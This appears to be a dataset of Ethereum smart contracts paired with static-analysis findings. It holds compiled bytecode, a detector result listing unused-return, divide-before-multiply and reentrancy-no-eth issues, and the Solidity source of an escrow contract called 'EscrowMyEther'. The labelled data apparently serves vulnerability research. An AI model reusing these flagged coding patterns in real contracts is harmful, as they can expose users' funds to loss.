ffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828210156123ce578192505b6123d83384612f4e565b61246783600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227690919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250c826124fe85846121a690919063ffffffff16565b61222c90919063ffffffff16565b90506000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561256a57600080fd5b505afa15801561257e573d6000803e3d6000fd5b505050506040513d602081101561259457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a4390586306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561265557600080fd5b505afa158015612669573d6000803e3d6000fd5b505050506040513d602081101561267f57600080fd5b810190808051906020019092919050505090506126d2737a250d5630b4cf539739df2c5dacb4c659f2488d60008373ffffffffffffffffffffffffffffffffffffffff166131069092919063ffffffff16565b612711737a250d5630b4cf539739df2c5dacb4c659f2488d838373ffffffffffffffffffffffffffffffffffffffff166131069092919063ffffffff16565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663baa2abde8630856000803061275d6107084261171090919063ffffffff16565b6040518863ffffffff1660e01b8152600401808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019750505050505050506040805180830381600087803b15801561284057600080fd5b505af1158015612854573d6000803e3d6000fd5b505050506040513d604081101561286a57600080fd5b810190808051906020019092919080519060200190929190505050505060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561290657600080fd5b505afa15801561291a573d6000803e3d6000fd5b505050506040513d602081101561293057600080fd5b81019080805190602001909291905050509050600061294e30610b64565b90506000612ac88873ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561299b57600080fd5b505afa1580156129af573d6000803e3d6000fd5b505050506040513d60208110156129c557600080fd5b810190808051906020019092919050505060ff16600a0a612aba8573271bf4568fb737cc2e6277e9b1ee0034098cda2a73ffffffffffffffffffffffffffffffffffffffff16635708447d8d6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612a7157600080fd5b505afa158015612a85573d6000803e3d6000fd5b505050506040513d6020811015612a9b57600080fd5b81019080805190602001909291905050506121a690919063ffffffff16565b61222c90919063ffffffff16565b905060008111612b40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f2176616c7565000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81811115612b4c578190505b612b563082612f4e565b612b8133848a73ffffffffffffffffffffffffffffffffffffffff166133269092919063ffffffff16565b80821115612bbd57612bbc33612b9630610b64565b3073ffffffffffffffffffffffffffffffffffffffff166133269092919063ffffffff16565b5b5050505050505050565b612cc7848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506133f7565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d70576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b612d858160025461171090919063ffffffff16565b600281905550612ddc816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008083118290612f34576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612ef9578082015181840152602081019050612ede565b50505050905090810190601f168015612f265780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612f4057fe5b049050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612fd4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806137646021913960400191505060405180910390fd5b61303f816040518060600160405280602281526020016136b1602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116509092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130968160025461227690919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000811480613200575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156131c357600080fd5b505afa1580156131d7573d6000803e3d6000fd5b505050506040513d60208110156131ed57600080fd5b8101908080519060200190929190505050145b613255576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806137f86036913960400191505060405180910390fd5b613321838473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506133f7565b505050565b6133f2838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506133f7565b505050565b6134168273ffffffffffffffffffffffffffffffffffffffff16613642565b613488576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083106134d757805182526020820191506020810190506020830392506134b4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613539576040519150601f19603f3d011682016040523d82523d6000602084013e61353e565b606091505b5091509150816135b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b60008151111561363c578080602001905160208110156135d557600080fd5b810190808051906020019092919050505061363b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806137ce602a913960400191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b82141580156136845750808214155b9250505091905056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a7231582081a623f4f424ce4ee6fb0ac863ae50eb11e17f2ba41a150107536c47c961018e64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
10,417
0x1c02ce498dc6d0d6ef05a253e021258b07eeba91
pragma solidity ^0.4.16; contract EscrowMyEther { //Author: Cheung Ka Yin //Date: 27 September 2017 //Version: EscrowMyEther v1.0 MainNet address public owner; //Each buyer address consist of an array of EscrowStruct //Used to store buyer&#39;s transactions and for buyers to interact with his transactions. (Such as releasing funds to seller) struct EscrowStruct { address buyer; //Person who is making payment address seller; //Person who will receive funds address escrow_agent; //Escrow agent to resolve disputes, if any uint escrow_fee; //Fee charged by escrow uint amount; //Amount of Ether (in Wei) seller will receive after fees bool escrow_intervention; //Buyer or Seller can call for Escrow intervention bool release_approval; //Buyer or Escrow(if escrow_intervention is true) can approve release of funds to seller bool refund_approval; //Seller or Escrow(if escrow_intervention is true) can approve refund of funds to buyer bytes32 notes; //Notes for Seller } struct TransactionStruct { //Links to transaction from buyer address buyer; //Person who is making payment uint buyer_nounce; //Nounce of buyer transaction } //Database of Buyers. Each buyer then contain an array of his transactions mapping(address => EscrowStruct[]) public buyerDatabase; //Database of Seller and Escrow Agent mapping(address => TransactionStruct[]) public sellerDatabase; mapping(address => TransactionStruct[]) public escrowDatabase; //Every address have a Funds bank. All refunds, sales and escrow comissions are sent to this bank. Address owner can withdraw them at any time. mapping(address => uint) public Funds; mapping(address => uint) public escrowFee; //Run once the moment contract is created. Set contract creator function EscrowMyEther() { owner = msg.sender; } function() payable { //LogFundsReceived(msg.sender, msg.value); } function setEscrowFee(uint fee) { //Allowed fee range: 0.1% to 10%, in increments of 0.1% require (fee >= 1 && fee <= 100); escrowFee[msg.sender] = fee; } function getEscrowFee(address escrowAddress) constant returns (uint) { return (escrowFee[escrowAddress]); } function newEscrow(address sellerAddress, address escrowAddress, bytes32 notes) payable returns (bool) { require(msg.value > 0 && msg.sender != escrowAddress); //Store escrow details in memory EscrowStruct memory currentEscrow; TransactionStruct memory currentTransaction; currentEscrow.buyer = msg.sender; currentEscrow.seller = sellerAddress; currentEscrow.escrow_agent = escrowAddress; //Calculates and stores Escrow Fee. currentEscrow.escrow_fee = getEscrowFee(escrowAddress)*msg.value/1000; //0.25% dev fee uint dev_fee = msg.value/400; Funds[owner] += dev_fee; //Amount seller receives = Total amount - 0.25% dev fee - Escrow Fee currentEscrow.amount = msg.value - dev_fee - currentEscrow.escrow_fee; //These default to false, no need to set them again /*currentEscrow.escrow_intervention = false; currentEscrow.release_approval = false; currentEscrow.refund_approval = false; */ currentEscrow.notes = notes; //Links this transaction to Seller and Escrow&#39;s list of transactions. currentTransaction.buyer = msg.sender; currentTransaction.buyer_nounce = buyerDatabase[msg.sender].length; sellerDatabase[sellerAddress].push(currentTransaction); escrowDatabase[escrowAddress].push(currentTransaction); buyerDatabase[msg.sender].push(currentEscrow); return true; } //switcher 0 for Buyer, 1 for Seller, 2 for Escrow function getNumTransactions(address inputAddress, uint switcher) constant returns (uint) { if (switcher == 0) return (buyerDatabase[inputAddress].length); else if (switcher == 1) return (sellerDatabase[inputAddress].length); else return (escrowDatabase[inputAddress].length); } //switcher 0 for Buyer, 1 for Seller, 2 for Escrow function getSpecificTransaction(address inputAddress, uint switcher, uint ID) constant returns (address, address, address, uint, bytes32, uint, bytes32) { bytes32 status; EscrowStruct memory currentEscrow; if (switcher == 0) { currentEscrow = buyerDatabase[inputAddress][ID]; status = checkStatus(inputAddress, ID); } else if (switcher == 1) { currentEscrow = buyerDatabase[sellerDatabase[inputAddress][ID].buyer][sellerDatabase[inputAddress][ID].buyer_nounce]; status = checkStatus(currentEscrow.buyer, sellerDatabase[inputAddress][ID].buyer_nounce); } else if (switcher == 2) { currentEscrow = buyerDatabase[escrowDatabase[inputAddress][ID].buyer][escrowDatabase[inputAddress][ID].buyer_nounce]; status = checkStatus(currentEscrow.buyer, escrowDatabase[inputAddress][ID].buyer_nounce); } return (currentEscrow.buyer, currentEscrow.seller, currentEscrow.escrow_agent, currentEscrow.amount, status, currentEscrow.escrow_fee, currentEscrow.notes); } function buyerHistory(address buyerAddress, uint startID, uint numToLoad) constant returns (address[], address[],uint[], bytes32[]){ uint length; if (buyerDatabase[buyerAddress].length < numToLoad) length = buyerDatabase[buyerAddress].length; else length = numToLoad; address[] memory sellers = new address[](length); address[] memory escrow_agents = new address[](length); uint[] memory amounts = new uint[](length); bytes32[] memory statuses = new bytes32[](length); for (uint i = 0; i < length; i++) { sellers[i] = (buyerDatabase[buyerAddress][startID + i].seller); escrow_agents[i] = (buyerDatabase[buyerAddress][startID + i].escrow_agent); amounts[i] = (buyerDatabase[buyerAddress][startID + i].amount); statuses[i] = checkStatus(buyerAddress, startID + i); } return (sellers, escrow_agents, amounts, statuses); } function SellerHistory(address inputAddress, uint startID , uint numToLoad) constant returns (address[], address[], uint[], bytes32[]){ address[] memory buyers = new address[](numToLoad); address[] memory escrows = new address[](numToLoad); uint[] memory amounts = new uint[](numToLoad); bytes32[] memory statuses = new bytes32[](numToLoad); for (uint i = 0; i < numToLoad; i++) { if (i >= sellerDatabase[inputAddress].length) break; buyers[i] = sellerDatabase[inputAddress][startID + i].buyer; escrows[i] = buyerDatabase[buyers[i]][sellerDatabase[inputAddress][startID +i].buyer_nounce].escrow_agent; amounts[i] = buyerDatabase[buyers[i]][sellerDatabase[inputAddress][startID + i].buyer_nounce].amount; statuses[i] = checkStatus(buyers[i], sellerDatabase[inputAddress][startID + i].buyer_nounce); } return (buyers, escrows, amounts, statuses); } function escrowHistory(address inputAddress, uint startID, uint numToLoad) constant returns (address[], address[], uint[], bytes32[]){ address[] memory buyers = new address[](numToLoad); address[] memory sellers = new address[](numToLoad); uint[] memory amounts = new uint[](numToLoad); bytes32[] memory statuses = new bytes32[](numToLoad); for (uint i = 0; i < numToLoad; i++) { if (i >= escrowDatabase[inputAddress].length) break; buyers[i] = escrowDatabase[inputAddress][startID + i].buyer; sellers[i] = buyerDatabase[buyers[i]][escrowDatabase[inputAddress][startID +i].buyer_nounce].seller; amounts[i] = buyerDatabase[buyers[i]][escrowDatabase[inputAddress][startID + i].buyer_nounce].amount; statuses[i] = checkStatus(buyers[i], escrowDatabase[inputAddress][startID + i].buyer_nounce); } return (buyers, sellers, amounts, statuses); } function checkStatus(address buyerAddress, uint nounce) constant returns (bytes32){ bytes32 status = ""; if (buyerDatabase[buyerAddress][nounce].release_approval){ status = "Complete"; } else if (buyerDatabase[buyerAddress][nounce].refund_approval){ status = "Refunded"; } else if (buyerDatabase[buyerAddress][nounce].escrow_intervention){ status = "Pending Escrow Decision"; } else { status = "In Progress"; } return (status); } //When transaction is complete, buyer will release funds to seller //Even if EscrowEscalation is raised, buyer can still approve fund release at any time function buyerFundRelease(uint ID) { require(ID < buyerDatabase[msg.sender].length && buyerDatabase[msg.sender][ID].release_approval == false && buyerDatabase[msg.sender][ID].refund_approval == false); //Set release approval to true. Ensure approval for each transaction can only be called once. buyerDatabase[msg.sender][ID].release_approval = true; address seller = buyerDatabase[msg.sender][ID].seller; address escrow_agent = buyerDatabase[msg.sender][ID].escrow_agent; uint amount = buyerDatabase[msg.sender][ID].amount; uint escrow_fee = buyerDatabase[msg.sender][ID].escrow_fee; //Move funds under seller&#39;s owership Funds[seller] += amount; Funds[escrow_agent] += escrow_fee; } //Seller can refund the buyer at any time function sellerRefund(uint ID) { address buyerAddress = sellerDatabase[msg.sender][ID].buyer; uint buyerID = sellerDatabase[msg.sender][ID].buyer_nounce; require( buyerDatabase[buyerAddress][buyerID].release_approval == false && buyerDatabase[buyerAddress][buyerID].refund_approval == false); address escrow_agent = buyerDatabase[buyerAddress][buyerID].escrow_agent; uint escrow_fee = buyerDatabase[buyerAddress][buyerID].escrow_fee; uint amount = buyerDatabase[buyerAddress][buyerID].amount; //Once approved, buyer can invoke WithdrawFunds to claim his refund buyerDatabase[buyerAddress][buyerID].refund_approval = true; Funds[buyerAddress] += amount; Funds[escrow_agent] += escrow_fee; } //Either buyer or seller can raise escalation with escrow agent. //Once escalation is activated, escrow agent can release funds to seller OR make a full refund to buyer //Switcher = 0 for Buyer, Switcher = 1 for Seller function EscrowEscalation(uint switcher, uint ID) { //To activate EscrowEscalation //1) Buyer must not have approved fund release. //2) Seller must not have approved a refund. //3) EscrowEscalation is being activated for the first time //There is no difference whether the buyer or seller activates EscrowEscalation. address buyerAddress; uint buyerID; //transaction ID of in buyer&#39;s history if (switcher == 0) // Buyer { buyerAddress = msg.sender; buyerID = ID; } else if (switcher == 1) //Seller { buyerAddress = sellerDatabase[msg.sender][ID].buyer; buyerID = sellerDatabase[msg.sender][ID].buyer_nounce; } require(buyerDatabase[buyerAddress][buyerID].escrow_intervention == false && buyerDatabase[buyerAddress][buyerID].release_approval == false && buyerDatabase[buyerAddress][buyerID].refund_approval == false); //Activate the ability for Escrow Agent to intervent in this transaction buyerDatabase[buyerAddress][buyerID].escrow_intervention = true; } //ID is the transaction ID from Escrow&#39;s history. //Decision = 0 is for refunding Buyer. Decision = 1 is for releasing funds to Seller function escrowDecision(uint ID, uint Decision) { //Escrow can only make the decision IF //1) Buyer has not yet approved fund release to seller //2) Seller has not yet approved a refund to buyer //3) Escrow Agent has not yet approved fund release to seller AND not approved refund to buyer //4) Escalation Escalation is activated address buyerAddress = escrowDatabase[msg.sender][ID].buyer; uint buyerID = escrowDatabase[msg.sender][ID].buyer_nounce; require( buyerDatabase[buyerAddress][buyerID].release_approval == false && buyerDatabase[buyerAddress][buyerID].escrow_intervention == true && buyerDatabase[buyerAddress][buyerID].refund_approval == false); uint escrow_fee = buyerDatabase[buyerAddress][buyerID].escrow_fee; uint amount = buyerDatabase[buyerAddress][buyerID].amount; if (Decision == 0) //Refund Buyer { buyerDatabase[buyerAddress][buyerID].refund_approval = true; Funds[buyerAddress] += amount; Funds[msg.sender] += escrow_fee; } else if (Decision == 1) //Release funds to Seller { buyerDatabase[buyerAddress][buyerID].release_approval = true; Funds[buyerDatabase[buyerAddress][buyerID].seller] += amount; Funds[msg.sender] += escrow_fee; } } function WithdrawFunds() { uint amount = Funds[msg.sender]; Funds[msg.sender] = 0; if (!msg.sender.send(amount)) Funds[msg.sender] = amount; } function CheckBalance(address fromAddress) constant returns (uint){ return (Funds[fromAddress]); } }
0x6060604052361561011a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166307023a38811461011e57806314081e391461026a5780631eb22b451461028257806321027354146102c65780632c37dba9146104125780632e4d59c4146104435780633c5192b7146104745780634c0aac9a1461048f57806364d03095146104a457806364fa30701461051357806377db5206146105445780638da5cb5b146105785780638e94a5f3146105a75780639b850322146105bf578063a155beb8146105da578063a6a3a43914610659578063bdbbf4291461068d578063d73b0cf2146107d9578063da1070da146107f1578063dc09996c14610822578063f28d7b8914610866575b5b5b005b341561012957600080fd5b610143600160a060020a0360043516602435604435610897565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101905780820151818401525b602001610177565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156101d05780820151818401525b6020016101b7565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102105780820151818401525b6020016101f7565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102505780820151818401525b602001610237565b505050509050019850505050505050505060405180910390f35b341561027557600080fd5b61011a600435610c15565b005b341561028d57600080fd5b6102a4600160a060020a0360043516602435610c51565b604051600160a060020a03909216825260208201526040908101905180910390f35b34156102d157600080fd5b610143600160a060020a0360043516602435604435610c98565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101905780820151818401525b602001610177565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156101d05780820151818401525b6020016101b7565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102105780820151818401525b6020016101f7565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102505780820151818401525b602001610237565b505050509050019850505050505050505060405180910390f35b341561041d57600080fd5b610431600160a060020a0360043516610f13565b60405190815260200160405180910390f35b341561044e57600080fd5b610431600160a060020a0360043516610f25565b60405190815260200160405180910390f35b341561047f57600080fd5b61011a600435602435610f44565b005b341561049a57600080fd5b61011a61110f565b005b34156104af57600080fd5b6104c9600160a060020a0360043516602435604435611172565b604051600160a060020a0397881681529587166020870152939095166040808601919091526060850192909252608084015260a083019390935260c082015260e001905180910390f35b341561051e57600080fd5b610431600160a060020a03600435166115f0565b60405190815260200160405180910390f35b341561054f57600080fd5b610431600160a060020a036004351660243561160f565b60405190815260200160405180910390f35b341561058357600080fd5b61058b611788565b604051600160a060020a03909116815260200160405180910390f35b34156105b257600080fd5b61011a600435611797565b005b34156105ca57600080fd5b61011a600435602435611a08565b005b34156105e557600080fd5b6105fc600160a060020a0360043516602435611d62565b604051600160a060020a03998a16815297891660208901529590971660408088019190915260608701949094526080860192909252151560a0850152151560c084015292151560e083015261010082015261012001905180910390f35b341561066457600080fd5b610431600160a060020a0360043516602435611de5565b60405190815260200160405180910390f35b341561069857600080fd5b610143600160a060020a0360043516602435604435611e58565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101905780820151818401525b602001610177565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156101d05780820151818401525b6020016101b7565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102105780820151818401525b6020016101f7565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102505780820151818401525b602001610237565b505050509050019850505050505050505060405180910390f35b34156107e457600080fd5b61011a6004356121d6565b005b61080e600160a060020a0360043581169060243516604435612420565b604051901515815260200160405180910390f35b341561082d57600080fd5b6102a4600160a060020a03600435166024356126f0565b604051600160a060020a03909216825260208201526040908101905180910390f35b341561087157600080fd5b610431600160a060020a0360043516612737565b60405190815260200160405180910390f35b61089f612749565b6108a7612749565b6108af612749565b6108b7612749565b6108bf612749565b6108c7612749565b6108cf612749565b6108d7612749565b6000896040518059106108e75750595b908082528060200260200182016040525b509450896040518059106109095750595b908082528060200260200182016040525b5093508960405180591061092b5750595b908082528060200260200182016040525b5092508960405180591061094d5750595b908082528060200260200182016040525b509150600090505b89811015610bfa57600160a060020a038c16600090815260026020526040902054811061099257610bfa565b600160a060020a038c16600090815260026020526040902080548c83019081106109b857fe5b906000526020600020906002020160005b5054600160a060020a03168582815181106109e057fe5b600160a060020a0390921660209283029091019091015260016000868381518110610a0757fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020600260008e600160a060020a0316600160a060020a03168152602001908152602001600020828d01815481101515610a6557fe5b906000526020600020906002020160005b506001015481548110610a8557fe5b906000526020600020906007020160005b5060020154600160a060020a0316848281518110610ab057fe5b600160a060020a0390921660209283029091019091015260016000868381518110610ad757fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020600260008e600160a060020a0316600160a060020a03168152602001908152602001600020828d01815481101515610b3557fe5b906000526020600020906002020160005b506001015481548110610b5557fe5b906000526020600020906007020160005b5060040154838281518110610b7757fe5b60209081029091010152610bdb858281518110610b9057fe5b90602001906020020151600160a060020a038e16600090815260026020526040902080548e8501908110610bc057fe5b906000526020600020906002020160005b506001015461160f565b828281518110610be757fe5b602090810290910101525b600101610966565b8484848498509850985098505b505050505093509350935093565b60018110158015610c27575060648111155b1515610c3257600080fd5b600160a060020a03331660009081526005602052604090208190555b50565b600260205281600052604060002081815481101515610c6c57fe5b906000526020600020906002020160005b508054600190910154600160a060020a039091169250905082565b610ca0612749565b610ca8612749565b610cb0612749565b610cb8612749565b6000610cc2612749565b610cca612749565b610cd2612749565b610cda612749565b600160a060020a038c166000908152600160205260408120548b901015610d1b57600160a060020a038d166000908152600160205260409020549550610d1f565b8a95505b85604051805910610d2d5750595b908082528060200260200182016040525b50945085604051805910610d4f5750595b908082528060200260200182016040525b50935085604051805910610d715750595b908082528060200260200182016040525b50925085604051805910610d935750595b908082528060200260200182016040525b509150600090505b85811015610ef757600160a060020a038d16600090815260016020526040902080548d8301908110610dda57fe5b906000526020600020906007020160005b5060010154600160a060020a0316858281518110610e0557fe5b600160a060020a039283166020918202909201810191909152908e16600090815260019091526040902080548d8301908110610e3d57fe5b906000526020600020906007020160005b5060020154600160a060020a0316848281518110610e6857fe5b600160a060020a039283166020918202909201810191909152908e16600090815260019091526040902080548d8301908110610ea057fe5b906000526020600020906007020160005b5060040154838281518110610ec257fe5b60209081029091010152610ed88d8d830161160f565b828281518110610ee457fe5b602090810290910101525b600101610dac565b8484848499509950995099505b50505050505093509350935093565b60056020526000908152604090205481565b600160a060020a0381166000908152600460205260409020545b919050565b600080831515610f58575033905081610fdc565b8360011415610fdc57600160a060020a0333166000908152600260205260409020805484908110610f8557fe5b906000526020600020906002020160005b5054600160a060020a033381166000908152600260205260409020805491909216935084908110610fc357fe5b906000526020600020906002020160005b506001015490505b5b600160a060020a038216600090815260016020526040902080548290811061100157fe5b906000526020600020906007020160005b506005015460ff161580156110665750600160a060020a038216600090815260016020526040902080548290811061104657fe5b906000526020600020906007020160005b5060050154610100900460ff16155b80156110b25750600160a060020a038216600090815260016020526040902080548290811061109157fe5b906000526020600020906007020160005b506005015462010000900460ff16155b15156110bd57600080fd5b600160a060020a03821660009081526001602081905260409091208054839081106110e457fe5b906000526020600020906007020160005b50600501805460ff19169115159190911790555b50505050565b600160a060020a033316600081815260046020526040808220805492905590919082156108fc0290839051600060405180830381858888f193505050501515610c4e57600160a060020a03331660009081526004602052604090208190555b5b50565b60008060008060008060008061118661277f565b8a151561125957600160a060020a038c16600090815260016020526040902080548b9081106111b157fe5b906000526020600020906007020160005b5061012060405190810160409081528254600160a060020a039081168352600184015481166020840152600284015416908201526003820154606082015260048201546080820152600582015460ff808216151560a08401526101008083048216151560c08501526201000090920416151560e08301526006909201549181019190915290506112528c8b61160f565b91506115b3565b8a6001141561140857600160a060020a038c166000908152600260205260408120805460019291908d90811061128b57fe5b906000526020600020906002020160005b5060000160009054906101000a9004600160a060020a0316600160a060020a0316600160a060020a03168152602001908152602001600020600260008e600160a060020a0316600160a060020a031681526020019081526020016000208b81548110151561130657fe5b906000526020600020906002020160005b50600101548154811061132657fe5b906000526020600020906007020160005b5061012060405190810160409081528254600160a060020a039081168352600184015481166020840152600284015416908201526003820154606082015260048201546080820152600582015460ff808216151560a08401526101008083048216151560c08501526201000090920416151560e08301526006909201549181019190915290506112528151600160a060020a038e16600090815260026020526040902080548d908110610bc057fe5b906000526020600020906002020160005b506001015461160f565b91506115b3565b8a600214156115b357600160a060020a038c166000908152600360205260408120805460019291908d90811061143a57fe5b906000526020600020906002020160005b5060000160009054906101000a9004600160a060020a0316600160a060020a0316600160a060020a03168152602001908152602001600020600360008e600160a060020a0316600160a060020a031681526020019081526020016000208b8154811015156114b557fe5b906000526020600020906002020160005b5060010154815481106114d557fe5b906000526020600020906007020160005b5061012060405190810160409081528254600160a060020a039081168352600184015481166020840152600284015416908201526003820154606082015260048201546080820152600582015460ff808216151560a08401526101008083048216151560c08501526201000090920416151560e08301526006909201549181019190915290506115b08151600160a060020a038e16600090815260036020526040902080548d908110610bc057fe5b906000526020600020906002020160005b506001015461160f565b91505b5b5b805181602001518260400151836080015185856060015186610100015198509850985098509850985098505b50509397509397509397909450565b600160a060020a0381166000908152600560205260409020545b919050565b600160a060020a038216600090815260016020526040812080548291908490811061163657fe5b906000526020600020906007020160005b5060050154610100900460ff161561168057507f436f6d706c65746500000000000000000000000000000000000000000000000061177b565b600160a060020a03841660009081526001602052604090208054849081106116a457fe5b906000526020600020906007020160005b506005015462010000900460ff16156116ef57507f526566756e64656400000000000000000000000000000000000000000000000061177b565b600160a060020a03